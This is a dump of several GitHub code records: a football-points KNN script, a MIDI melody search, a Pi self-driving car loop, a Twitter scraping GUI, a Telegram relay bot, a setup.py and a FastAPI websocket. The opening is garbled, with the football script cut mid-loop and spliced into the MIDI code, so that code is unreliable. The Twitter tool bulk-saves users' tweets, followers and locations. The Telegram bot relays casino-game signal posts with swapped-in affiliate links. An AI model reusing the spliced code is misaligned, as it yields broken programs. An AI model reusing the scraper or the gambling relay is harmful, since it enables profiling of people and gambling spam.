"collections.Counter", "line_number": 12, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 13, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 26, "usage_type": "call"}]} {"seq_id": "23921623290", "text": "\nimport pandas as pd\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom sklearn.neighbors import KNeighborsClassifier\n\n\ndef hello(neg,s):\n d16=pd.read_csv('../raw_data/2016-17.csv').set_index('full_name')\n d17=pd.read_csv('../raw_data/2017-18.csv').set_index('full_name')\n\n #Eliminating all players that dint play in both years\n #sorting alphabetically\n\n for n in d16.index:\n if n not in d17.index:\n d16.drop(n,0,inplace=True)\n\n for n in d17.index:\n if n not in d16.index:\n d17.drop(n,0,inplace=True)\n\n\n\n\n d16.sort_values('full_name',inplace=True)\n d17.sort_values('full_name',inplace=True)\n\n d16.reset_index(inplace=True)\n d17.reset_index(inplace=True)\n\n labels=d17['total_points'].to_numpy()\n i=0\n while i note_number_list[i]+1):\n note_number_fluc.append(\"↑\")\n if (n1[i] == note_number_list[i]-1):\n note_number_fluc.append(\"b\")\n if (n1[i] < note_number_list[i]-1):\n note_number_fluc.append(\"↓\")\n note_number_fluc.pop()\n\n #MIDI概形のテキストファイルを作成\n with open(file_name + \"_abs.txt\", \"w\", newline = \"\") as f:\n w = csv.writer(f)\n w.writerow(note_number_fluc)\n \n return file_name + \"_abs.txt\"\n\n#ペース（速い・中間・遅い）の取得\ndef get_tempo(file_name):\n # MIDIファイルのロード\n midi_data = pretty_midi.PrettyMIDI(file_name)\n # テンポの取得\n tempo = midi_data.get_tempo_changes()\n print(tempo[1])\n if min(tempo[1]) < 90:\n pace = 'slow'\n elif max(tempo[1]) >= 90 and min(tempo[1]) < 140:\n pace = 'middle'\n elif max(tempo[1]) >= 140:\n pace = 'fast' \n\n return pace\n\n\n#ずらし表の作成\ndef create_table(pattern):\n table = [0 for _ in range(len(pattern))]\n j = 0\n for i in range(1, len(pattern)):\n if pattern[i] == pattern[j]:\n j += 1\n table[i] = j\n else:\n table[i] = j\n j = 0\n return table\n\n\n#KMP法の実装\ndef kmp_search(string, pattern):\n table = create_table(pattern)\n i = j = 0\n while i < len(string) and j < len(pattern):\n if string[i] == pattern[j]:\n i += 1\n j += 1\n elif j == 0:\n i += 1\n else:\n j = table[j]\n \n if j == len(pattern):\n return i - j\n else:\n return None\n\n\nif __name__ == '__main__':\n target_dir = sys.argv[1]\n # 探すメロディパタンの読み込み\n pattern = sys.argv[2]\n # 探すメロディパタンのテンポの読み込み\n user_pace = sys.argv[3]\n # マッチしたファイルリストの作成\n file_list = []\n\n for filename in os.listdir(target_dir):\n if not filename.endswith('.mid'):\n continue\n path_in = os.path.join(target_dir, filename)\n path_out = midi_to_abs(path_in)\n print(path_out)\n with open(path_out, \"r\") as f:\n string = f.read()\n \n path_pace = get_tempo(path_in)\n\n index = kmp_search(string, pattern)\n\n if index and path_pace == user_pace:\n file_list.append(filename)\n else:\n print(\"No files.\")\n print(file_list)", "repo_name": "una1veritas/MelodySearch", "sub_path": "kawamura.y_contoursearch/midi_to_text2.py", "file_name": "midi_to_text2.py", "file_ext": "py", "file_size_in_byte": 3602, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sys.argv", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 12, "usage_type": "call"}, {"api_name": "pretty_midi.PrettyMIDI", "line_number": 19, "usage_type": "call"}, {"api_name": "csv.writer", "line_number": 51, "usage_type": "call"}, {"api_name": "pretty_midi.PrettyMIDI", "line_number": 59, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 107, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 109, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 111, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 118, "usage_type": "call"}, {"api_name": "os.path", "line_number": 118, "usage_type": "attribute"}]} {"seq_id": "4265349368", "text": "# Import Pi Camera library\nfrom picamera import PiCamera\nfrom picamera.array import PiRGBArray\n\nfrom time import sleep\nimport datetime as dt\nimport io, cv2\nfrom PIL import Image\n\n# Import Lobe python library\nfrom lobe import ImageModel\n\n# Import motor controller\nfrom motor import *\n\n# Create a camera object\ncamera = PiCamera()\n\n# Set size of images - this ideally is the same as the model used to train the images.\nimageSize = (160, 128)\n\nrawCapture = PiRGBArray(camera, size=imageSize)\nsleep(2)\n\n# Load Lobe TF Lite model\n# --> Change model path to match the name of the folder your model is in.\nmodel = ImageModel.load('/home/pi/Desktop/GoPiGo-Explorations/GoPiGo TFLite')\n\n# camera.start_preview(alpha=200)\nsleep(2)\n# Create the in-memory stream\n\nfont = cv2.FONT_HERSHEY_SIMPLEX\nfontScale = 0.4\nfontColor = (0,255,255)\nthickness = 1\nlineType = 2\n\nif __name__ == '__main__':\n\n # Adjust speed factor if your bot is over or under steering.\n speedFactor = 1\n steering = 0\n\n for frame in camera.capture_continuous(rawCapture, format='bgr', use_video_port=True, resize=imageSize):\n start = dt.datetime.now() # Capture start time of the loop\n\n image = frame.array\n\n # Convert to a PIL format for model\n img = Image.fromarray(image)\n\n # Perform model prediction\n result = model.predict(img)\n latency = (dt.datetime.now() - start).microseconds # Capture time difference\n steering = float(result.prediction)\n # camera.annotate_text = 'Steering:' + result.labels[0][0] + \" latency\" + str(latency)\n print(result.prediction)\n print(latency)\n\n cv2.putText(image, 'Steering: {}'.format(result.prediction),\n (0,95),\n font,\n fontScale,\n fontColor,\n thickness,\n lineType)\n\n cv2.putText(image, 'Latency: 0.{}s'.format(latency),\n (0, 120),\n font,\n fontScale,\n fontColor,\n thickness,\n lineType)\n\n cv2.imshow(\"Live View\", image)\n\n motor(speedFactor, steering * speedFactor)\n\n # Clear the stream in preparation for the next frame\n rawCapture.truncate(0)\n\n key = cv2.waitKey(1) & 0xFF\n\n # if 'x' key is pressed, break from the loop.\n if key == ord('x'):\n break\n\n cv2.destroyAllWindows()\n motor(0, 0)", "repo_name": "petersercombe/GoPiGo-Explorations", "sub_path": "selfDrive.py", "file_name": "selfDrive.py", "file_ext": "py", "file_size_in_byte": 2550, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "picamera.PiCamera", "line_number": 17, "usage_type": "call"}, {"api_name": "picamera.array.PiRGBArray", "line_number": 22, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 23, "usage_type": "call"}, {"api_name": "lobe.ImageModel.load", "line_number": 27, "usage_type": "call"}, {"api_name": "lobe.ImageModel", "line_number": 27, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 30, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 33, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 46, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 46, "usage_type": "attribute"}, {"api_name": "PIL.Image.fromarray", "line_number": 51, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 51, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 55, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 61, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 69, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 77, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 84, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 90, "usage_type": "call"}]} {"seq_id": "36386512942", "text": "# get old tweets\r\nimport GetOldTweets3 as got\r\nimport json\r\nimport sys\r\n# progrees time\r\nimport time\r\n# librerias de las interfaces\r\nimport tkinter as tk\r\nimport tweepy\r\n# web browser lib\r\nimport webbrowser\r\n# creacion de documento\r\nfrom docx import Document\r\nfrom docx.shared import Inches\r\n# threads\r\nfrom threading import Thread\r\nfrom tkinter import CENTER, Entry, Label, LabelFrame, Menu, Tk, ttk\r\nfrom tkinter.messagebox import showinfo\r\n# archivos\r\nimport os\r\nimport errno\r\n\r\nconsumer_key = ''\r\nconsumer_secret = ''\r\naccess_token = ''\r\naccess_token_secret = ''\r\n\r\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\r\nauth.set_access_token(access_token, access_token_secret)\r\n# con este objeto realizaremos todas las llamadas al API\r\napi = tweepy.API(auth, wait_on_rate_limit=True,\r\n wait_on_rate_limit_notify=True, compression=True)\r\n\r\ndocument = Document()\r\n\r\n\r\nclass Ventana:\r\n id_selection = ' '\r\n\r\n # definimos el metodo que creara la interfaz\r\n def __init__(self, window):\r\n self.wind = window\r\n self.wind.title('BUSCATUIT')\r\n\r\n # Creamos frame contenedor\r\n frame = LabelFrame(self.wind, text=\"Buscar en twitter\")\r\n frame.grid(row=0, column=0, columnspan=3, pady=20)\r\n\r\n # input busqueda palabra\r\n Label(frame, text='Buscar palabra: ').grid(row=1, column=0)\r\n self.name = Entry(frame, width=50)\r\n self.name.grid(row=1, column=1)\r\n # botón de busqueda\r\n self.button = ttk.Button(\r\n frame, text='Buscar en twitter', command=self.get_twitters)\r\n self.button.grid(row=1, column=2)\r\n self.button_limpiar = ttk.Button(\r\n frame, text='Limpiar tabla', command=self.limpiar_tabla)\r\n self.button_limpiar.grid(row=1, column=3)\r\n Label(frame, text='Progreso de la busqueda: ').grid(row=2, column=0)\r\n self.progress_bar = ttk.Progressbar(\r\n frame, orient='horizontal', length=286, mode='determinate')\r\n self.progress_bar.grid(row=2, column=1)\r\n self.label_desc = Label(frame, text='Num Tweets')\r\n self.label_desc.grid(row=2, column=2)\r\n self.label_tweets = Label(frame, text='#')\r\n self.label_tweets.grid(row=2, column=3)\r\n\r\n # creamos la tabla\r\n self.tree = ttk.Treeview(height=10, columns=(\r\n 'texto', 'autor', 'descripcion', 'location'))\r\n self.tree.grid(row=4, column=0, columnspan=2)\r\n self.tree.heading('#0', text='Id', anchor=CENTER)\r\n self.tree.heading('texto', text='Texto', anchor=CENTER)\r\n self.tree.heading('autor', text='Autor', anchor=CENTER)\r\n self.tree.heading(\r\n 'descripcion', text='Descripcion del perfil', anchor=CENTER)\r\n self.tree.heading('location', text='Localidad', anchor=CENTER)\r\n self.tree.bind(\"\", self.popup)\r\n\r\n def get_twitters(self):\r\n query_word = self.name.get().split()\r\n\r\n t = Thread(target=self.countdown, args=(10, ))\r\n\r\n count = 0\r\n\r\n # fetched_tweets = api.search(self.name.get(), count = 3000) #+ api.search(b, count = 300) + api.search(c, count = 300)\r\n t.start()\r\n user_list = api.search_users(query_word)\r\n for user in user_list:\r\n time.sleep(0.05)\r\n self.progress_bar[\"value\"] += count\r\n self.progress_bar.update()\r\n # and 'uruguay' in user.location or 'Uruguay' in user.location:\r\n if len(user.location) != 0:\r\n self.tree.insert('', 0, text=user.id_str, value=(\r\n user.name, user.screen_name, user.description, user.location))\r\n count += 1\r\n\r\n self.progress_bar[\"value\"] = 0\r\n\r\n def countdown(self, n):\r\n showinfo('Por favor espere ',\r\n 'Busqueda terminada se cargaran los resultados')\r\n time.sleep(n)\r\n\r\n def popup(self, event):\r\n # mostrar el popup menu\r\n rowitem = self.tree.identify('item', event.x, event.y)\r\n\r\n if rowitem == '':\r\n print('Clic derecho en espacio vacio')\r\n else:\r\n # usuario da clic en algo\r\n print('Seleccion correcta')\r\n self.tree.selection_set(rowitem)\r\n # id_selection = self.tree.set(self.tree.identify_row(event.y))\r\n self.id_selection = rowitem\r\n rcmenu = Menu(self.tree, tearoff=0)\r\n # rcmenu.add_command(label='Visitar perfil', command=print(item))\r\n rcmenu.add_command(label='Añadir a la base de datos',\r\n command=self.add_database)\r\n rcmenu.add_command(label='Solo texto', command=self.solo_texto)\r\n rcmenu.add_command(label='Visitar perfil', command=self.selection)\r\n rcmenu.add_command(label='Mostrar seguidores',\r\n command=self.get_followers)\r\n rcmenu.post(event.x_root, event.y_root)\r\n\r\n def add_database(self):\r\n curItem = self.tree.item(self.id_selection)\r\n\r\n path = 'C:/BUSCATUIT/'+curItem['values'][3]+curItem['values'][1]\r\n\r\n showinfo('Guardado iniciado',\r\n 'Se guardaran los resultados en '+path)\r\n\r\n try:\r\n os.makedirs(path)\r\n except OSError as e:\r\n if e.errno != errno.EEXIST:\r\n raise\r\n\r\n count = 0\r\n\r\n file = open(path+\"/\"+curItem['values']\r\n [1]+\".txt\", \"w\", encoding=\"utf-8\")\r\n\r\n try:\r\n for tweet in tweepy.Cursor(api.user_timeline, user_id=curItem['text'], tweet_mode='extended', include_rts=False).items():\r\n time.sleep(0.05)\r\n self.progress_bar[\"value\"] += count\r\n self.progress_bar.update()\r\n file.write('Fecha: '+str(tweet.created_at) +\r\n ' Texto: '+str(tweet.full_text)+' Ubicacion: '+tweet.user.location+os.linesep)\r\n print('Trabajando '+str(count))\r\n self.label_tweets.config(text=str(count))\r\n count += 1\r\n self.progress_bar[\"value\"] = 0\r\n except tweepy.TweepError as e:\r\n print(e.reason)\r\n\r\n file.close()\r\n showinfo('Guardado final',\r\n 'Resultados guardados en '+path)\r\n\r\n def solo_texto(self):\r\n curItem = self.tree.item(self.id_selection)\r\n print(curItem['text'])\r\n\r\n path = 'C:/BUSCATUIT/'+curItem['values'][3]+curItem['values'][1]\r\n\r\n showinfo('Guardado iniciado',\r\n 'Se guardaran los resultados en '+path)\r\n\r\n try:\r\n os.makedirs(path)\r\n except OSError as e:\r\n if e.errno != errno.EEXIST:\r\n raise\r\n\r\n count = 0\r\n\r\n file = open(path+\"/\"+curItem['values']\r\n [1]+\"_texto.txt\", \"w\", encoding=\"utf-8\")\r\n\r\n try:\r\n for tweet in tweepy.Cursor(api.user_timeline, user_id=curItem['text'], tweet_mode='extended', include_rts=False).items():\r\n time.sleep(0.05)\r\n self.progress_bar[\"value\"] += count\r\n self.progress_bar.update()\r\n if (not tweet.retweeted) and ('RT @' not in tweet.full_text):\r\n file.write(str(tweet.full_text)+os.linesep)\r\n print('Trabajando '+str(count))\r\n self.label_tweets.config(text=str(count))\r\n count += 1\r\n except tweepy.TweepError as e:\r\n print(e.reason)\r\n\r\n file.close()\r\n showinfo('Guardado final',\r\n 'Resultados guardados en '+path)\r\n\r\n def get_followers(self):\r\n count = 0\r\n curItem = self.tree.item(self.id_selection)\r\n for follower_id in api.followers(curItem['values'][1]):\r\n time.sleep(0.05)\r\n self.progress_bar[\"value\"] += count\r\n self.progress_bar.update()\r\n if len(follower_id.location) != 0:\r\n self.tree.insert('', 0, text=follower_id.id_str, value=(\r\n follower_id.name, follower_id.screen_name, follower_id.description, follower_id.location))\r\n\r\n self.progress_bar[\"value\"] = 0\r\n\r\n def selection(self):\r\n curItem = self.tree.item(self.id_selection)\r\n webbrowser.open_new('https://twitter.com/'+curItem['values'][1])\r\n\r\n def limpiar_tabla(self):\r\n tree_table = self.tree\r\n for i in tree_table.get_children():\r\n self.tree.delete(i)\r\n\r\n\r\n# metodo main de nuestro programa\r\nif __name__ == \"__main__\":\r\n window = Tk()\r\n application = Ventana(window)\r\n window.mainloop()\r\n", "repo_name": "AbisurDiazR/CODESUR", "sub_path": "buscar_tweets.py", "file_name": "buscar_tweets.py", "file_ext": "py", "file_size_in_byte": 8557, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "tweepy.OAuthHandler", "line_number": 28, "usage_type": "call"}, {"api_name": "tweepy.API", "line_number": 31, "usage_type": "call"}, {"api_name": "docx.Document", "line_number": 34, "usage_type": "call"}, {"api_name": "tkinter.LabelFrame", "line_number": 46, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 50, "usage_type": "call"}, {"api_name": "tkinter.Entry", "line_number": 51, "usage_type": "call"}, {"api_name": "tkinter.ttk.Button", "line_number": 54, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 54, "usage_type": "name"}, {"api_name": "tkinter.ttk.Button", "line_number": 57, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 57, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 60, "usage_type": "call"}, {"api_name": "tkinter.ttk.Progressbar", "line_number": 61, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 61, "usage_type": "name"}, {"api_name": "tkinter.Label", "line_number": 64, "usage_type": "call"}, {"api_name": "tkinter.Label", "line_number": 66, "usage_type": "call"}, {"api_name": "tkinter.ttk.Treeview", "line_number": 70, "usage_type": "call"}, {"api_name": "tkinter.ttk", "line_number": 70, "usage_type": "name"}, {"api_name": "tkinter.CENTER", "line_number": 73, "usage_type": "name"}, {"api_name": "tkinter.CENTER", "line_number": 74, "usage_type": "name"}, {"api_name": "tkinter.CENTER", "line_number": 75, "usage_type": "name"}, {"api_name": "tkinter.CENTER", "line_number": 77, "usage_type": "name"}, {"api_name": "tkinter.CENTER", "line_number": 78, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 84, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 92, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 104, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 106, "usage_type": "call"}, {"api_name": "tkinter.Menu", "line_number": 120, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 135, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 139, "usage_type": "call"}, {"api_name": "errno.EEXIST", "line_number": 141, "usage_type": "attribute"}, {"api_name": "tweepy.Cursor", "line_number": 150, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 151, "usage_type": "call"}, {"api_name": "os.linesep", "line_number": 155, "usage_type": "attribute"}, {"api_name": "tweepy.TweepError", "line_number": 160, "usage_type": "attribute"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 164, "usage_type": "call"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 173, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 177, "usage_type": "call"}, {"api_name": "errno.EEXIST", "line_number": 179, "usage_type": "attribute"}, {"api_name": "tweepy.Cursor", "line_number": 188, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 189, "usage_type": "call"}, {"api_name": "os.linesep", "line_number": 193, "usage_type": "attribute"}, {"api_name": "tweepy.TweepError", "line_number": 197, "usage_type": "attribute"}, {"api_name": "tkinter.messagebox.showinfo", "line_number": 201, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 208, "usage_type": "call"}, {"api_name": "webbrowser.open_new", "line_number": 219, "usage_type": "call"}, {"api_name": "tkinter.Tk", "line_number": 229, "usage_type": "call"}]} {"seq_id": "9312994489", "text": "from telethon import TelegramClient, sync, events\nimport configuration\nimport functions\n\n#Função responsável por mostrar o ID dos grupos\ndef All():\n\n client = TelegramClient(configuration.sessao, configuration.api_id, configuration.api_hash)\n client.start()\n dialogs = client.get_dialogs()\n\n for dialog in dialogs:\n print('------------X-------------')\n if dialog.id < 0:\n print(f'NOME DO GRUPO: {dialog.title}')\n print(f'ID DO GRUPO: {dialog.id}')\n print('------------X-------------')\n client.disconnect()\n\ndef MessageCapture(client):\n @client.on(events.NewMessage(chats=[configuration.MINES_ID_ORIGEM, configuration.SPACEMAN_ID_ORIGEM, configuration.FORTUNE_TIGER_ID_ORIGEM,configuration.PENALTY_SHOOT_UP_ID_ORIGEM, configuration.AVIATOR_ID_ORIGEM]))\n async def relay_message(event):\n # MINES_ENVIAR_MENSAGEM\n if event.peer_id.channel_id == 1939194214 and configuration.MINES_PREFERENCE == True:\n print('SIM - MINES REPLICANDO MENSAGEM...')\n message_updated = functions.ChangeLinkAfiliate(event)\n await client.send_message(configuration.MINES_ID_DESTINO, message_updated, link_preview=False,parse_mode='html')\n return\n # SPACEMAN_ENVIAR_MENSAGEM\n if event.peer_id.channel_id == 1681284432 and configuration.SPACEMAN_PREFERENCE == True:\n print('SIM - SPACEMAN REPLICANDO MENSAGEM')\n message_updated = functions.ChangeLinkAfiliate(event)\n await client.send_message(configuration.SPACEMAN_ID_DESTINO, message_updated, link_preview=False,parse_mode='html')\n return\n # FORTUNE_TIGER_ENVIAR_MENSAGEM\n if event.peer_id.channel_id == 1925549581 and configuration.FORTUNE_TIGER_PREFERENCE == True:\n print('SIM - FORTUNE_TIGER REPLICANDO MENSAGEM')\n message_updated = functions.ChangeLinkAfiliate(event)\n await client.send_message(configuration.FORTUNE_TIGER_ID_DESTINO, message_updated, link_preview=False,parse_mode='html')\n return\n # PENALTY_SHOOT_UP_ENVIAR_MENSAGEM\n if event.peer_id.channel_id == 1938509759 and configuration.PENALTY_SHOOT_UP_PREFERENCE == True:\n print('SIM - PENALTY SHOOT UP REPLICANDO MENSAGEM')\n message_updated = functions.ChangeLinkAfiliate(event)\n await client.send_message(configuration.PENALTY_SHOOT_UP_ID_DESTINO, message_updated, link_preview=False,parse_mode='html')\n return\n # AVIATOR_ENVIAR_MENSAGEM\n if event.peer_id.channel_id == 1592219591 and configuration.AVIATOR_PREFERENCE == True:\n print('SIM - AVIATOR REPLICANDO MENSAGEM')\n await client.send_message(configuration.AVIATOR_ID_DESTINO, event.raw_text)\n return\ndef ChangeLinkAfiliate(event):\n original_text = event.message.message\n updated_text = original_text.replace(\"CADASTRE-SE E JOGUE AQUI!\", f\"CADASTRE-SE E JOGUE AQUI!\")\n\n return updated_text", "repo_name": "WillDevAC/sim-replicador", "sub_path": "functions.py", "file_name": "functions.py", "file_ext": "py", "file_size_in_byte": 3031, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "telethon.TelegramClient", "line_number": 8, "usage_type": "call"}, {"api_name": "configuration.sessao", "line_number": 8, "usage_type": "attribute"}, {"api_name": "configuration.api_id", "line_number": 8, "usage_type": "attribute"}, {"api_name": "configuration.api_hash", "line_number": 8, "usage_type": "attribute"}, {"api_name": "configuration.MINES_PREFERENCE", "line_number": 24, "usage_type": "attribute"}, {"api_name": "functions.ChangeLinkAfiliate", "line_number": 26, "usage_type": "call"}, {"api_name": "configuration.MINES_ID_DESTINO", "line_number": 27, "usage_type": "attribute"}, {"api_name": "configuration.SPACEMAN_PREFERENCE", "line_number": 30, "usage_type": "attribute"}, {"api_name": "functions.ChangeLinkAfiliate", "line_number": 32, "usage_type": "call"}, {"api_name": "configuration.SPACEMAN_ID_DESTINO", "line_number": 33, "usage_type": "attribute"}, {"api_name": "configuration.FORTUNE_TIGER_PREFERENCE", "line_number": 36, "usage_type": "attribute"}, {"api_name": "functions.ChangeLinkAfiliate", "line_number": 38, "usage_type": "call"}, {"api_name": "configuration.FORTUNE_TIGER_ID_DESTINO", "line_number": 39, "usage_type": "attribute"}, {"api_name": "configuration.PENALTY_SHOOT_UP_PREFERENCE", "line_number": 42, "usage_type": "attribute"}, {"api_name": "functions.ChangeLinkAfiliate", "line_number": 44, "usage_type": "call"}, {"api_name": "configuration.PENALTY_SHOOT_UP_ID_DESTINO", "line_number": 45, "usage_type": "attribute"}, {"api_name": "configuration.AVIATOR_PREFERENCE", "line_number": 48, "usage_type": "attribute"}, {"api_name": "configuration.AVIATOR_ID_DESTINO", "line_number": 50, "usage_type": "attribute"}, {"api_name": "telethon.events.NewMessage", "line_number": 21, "usage_type": "call"}, {"api_name": "telethon.events", "line_number": 21, "usage_type": "name"}, {"api_name": "configuration.MINES_ID_ORIGEM", "line_number": 21, "usage_type": "attribute"}, {"api_name": "configuration.SPACEMAN_ID_ORIGEM", "line_number": 21, "usage_type": "attribute"}, {"api_name": "configuration.FORTUNE_TIGER_ID_ORIGEM", "line_number": 21, "usage_type": "attribute"}, {"api_name": "configuration.PENALTY_SHOOT_UP_ID_ORIGEM", "line_number": 21, "usage_type": "attribute"}, {"api_name": "configuration.AVIATOR_ID_ORIGEM", "line_number": 21, "usage_type": "attribute"}, {"api_name": "configuration.link_afiliado", "line_number": 54, "usage_type": "attribute"}]} {"seq_id": "71011232892", "text": "__author__ = 'tomarovsky'\n\nfrom pathlib import Path\nfrom os.path import join, dirname\nfrom setuptools import setup, find_packages\n\ndependencies = ['scipy', 'numpy', 'pandas', 'matplotlib', 'biopython',\n 'lxml', 'beautifulsoup4', 'requests']\n\nsetup(name='Biocrutch',\n version='0.1',\n packages=find_packages(),\n author='Andrey Tomarovsky',\n author_email='andrey.tomarovsky@gmail.com',\n install_requires=dependencies,\n long_description=open(join(dirname(__file__), 'README.md')).read(),\n scripts=list(map(str, sorted(Path('scripts/').rglob(\"*.py\")))))", "repo_name": "tomarovsky/Biocrutch", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 598, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "78", "api": [{"api_name": "setuptools.setup", "line_number": 10, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 16, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 17, "usage_type": "call"}]} {"seq_id": "72238356413", "text": "from contextlib import suppress\n\nfrom fastapi import APIRouter, WebSocket\nfrom loguru import logger\nfrom websockets.exceptions import ConnectionClosed\n\nfrom src.application import simulation\nfrom src.application.data_lake import data_lake\nfrom src.config import settings\nfrom src.infrastructure.contracts import Response, ResponseMulti\nfrom src.infrastructure.errors import NotFoundError, UnprocessableError\n\nfrom .contracts import EstimationSummaryPublic\n\n__all__ = (\"router\",)\n\nrouter = APIRouter(prefix=\"/sensors\", tags=[\"Estimation\"])\n\n\n@router.websocket(\"/{sensor_id}/estimation\")\nasync def estimation_summary(ws: WebSocket, sensor_id: int):\n \"\"\"Establish the websocket connection and send the next data:\n 1. historical estimation data\n 2. the new estimation summaries data on each event that produced\n\n This information is taken per sensor.\n\n WARNING: this feature is quite dangerous since there is no\n domain expert to finish it completely.\n Might works unexpected.\n \"\"\"\n\n if settings.simulation.turn_on is False:\n raise UnprocessableError(\n message=(\n \"Since the simulation is turned off \"\n \"this endpoint can not be used\"\n )\n )\n\n await ws.accept()\n logger.success(\n \"Opening WS connection for Estimation results fetching \"\n f\"from sensor: {sensor_id}\"\n )\n\n # Just skip if there is no historical data in the database\n with suppress(NotFoundError):\n historical_data: list[EstimationSummaryPublic] = [\n EstimationSummaryPublic.from_orm(instance)\n for instance in (\n await simulation.crud.get_historical_estimation_summaries(\n sensor_id\n )\n )\n ]\n\n # WARNING: The historical data should be sent by chanks since\n # there is a HTTP protocol limitation on the data size\n historical_response = ResponseMulti[EstimationSummaryPublic](\n result=historical_data\n )\n await ws.send_json(historical_response.encoded_dict())\n\n # Run the infinite consuming of new anomaly detection data\n leak_storage = data_lake.anomaly_detections_by_sensor[sensor_id]\n async for instance in leak_storage.consume():\n response = Response[EstimationSummaryPublic](\n result=EstimationSummaryPublic.from_orm(instance)\n )\n\n try:\n await ws.send_json(response.encoded_dict())\n except ConnectionClosed:\n logger.info(f\"Websocket connection closed for sensor: {sensor_id}\")\n break\n", "repo_name": "KITRUM/leak_detection_backend", "sub_path": "src/presentation/estimation/websockets.py", "file_name": "websockets.py", "file_ext": "py", "file_size_in_byte": 2609, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "fastapi.APIRouter", "line_number": 17, "usage_type": "call"}, {"api_name": "fastapi.WebSocket", "line_number": 21, "usage_type": "name"}, {"api_name": "src.config.settings.simulation", "line_number": 33, "usage_type": "attribute"}, {"api_name": "src.config.settings", "line_number": 33, "usage_type": "name"}, {"api_name": "src.infrastructure.errors.UnprocessableError", "line_number": 34, "usage_type": "call"}, {"api_name": "loguru.logger.success", "line_number": 42, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 42, "usage_type": "name"}, {"api_name": "contextlib.suppress", "line_number": 48, "usage_type": "call"}, {"api_name": "src.infrastructure.errors.NotFoundError", "line_number": 48, "usage_type": "argument"}, {"api_name": "contracts.EstimationSummaryPublic", "line_number": 49, "usage_type": "name"}, {"api_name": "contracts.EstimationSummaryPublic.from_orm", "line_number": 50, "usage_type": "call"}, {"api_name": "contracts.EstimationSummaryPublic", "line_number": 50, "usage_type": "name"}, {"api_name": "src.application.simulation.crud.get_historical_estimation_summaries", "line_number": 52, "usage_type": "call"}, {"api_name": "src.application.simulation.crud", "line_number": 52, "usage_type": "attribute"}, {"api_name": "src.application.simulation", "line_number": 52, "usage_type": "name"}, {"api_name": "src.infrastructure.contracts.ResponseMulti", "line_number": 60, "usage_type": "name"}, {"api_name": "contracts.EstimationSummaryPublic", "line_number": 60, "usage_type": "name"}, {"api_name": "src.application.data_lake.data_lake.anomaly_detections_by_sensor", "line_number": 66, "usage_type": "attribute"}, {"api_name": "src.application.data_lake.data_lake", "line_number": 66, "usage_type": "name"}, {"api_name": "src.infrastructure.contracts.Response", "line_number": 68, "usage_type": "name"}, {"api_name": "contracts.EstimationSummaryPublic", "line_number": 68, "usage_type": "name"}, {"api_name": "contracts.EstimationSummaryPublic.from_orm", "line_number": 69, "usage_type": "call"}, {"api_name": "contracts.EstimationSummaryPublic", "line_number": 69, "usage_type": "name"}, {"api_name": "websockets.exceptions.ConnectionClosed", "line_number": 74, "usage_type": "name"}, {"api_name": "loguru.logger.info", "line_number": 75, "usage_type": "call"}, {"api_name": "loguru.logger", "line_number": 75, "usage_type": "name"}]} {"seq_id": "7085994667", "text": "#-------------------------------------------------------------------------------------------------------------------\n# Packages & Settings\n#-------------------------------------------------------------------------------------------------------------------\n\n# General packages\nimport time\nimport sys\nimport os\nimport datetime\nfrom 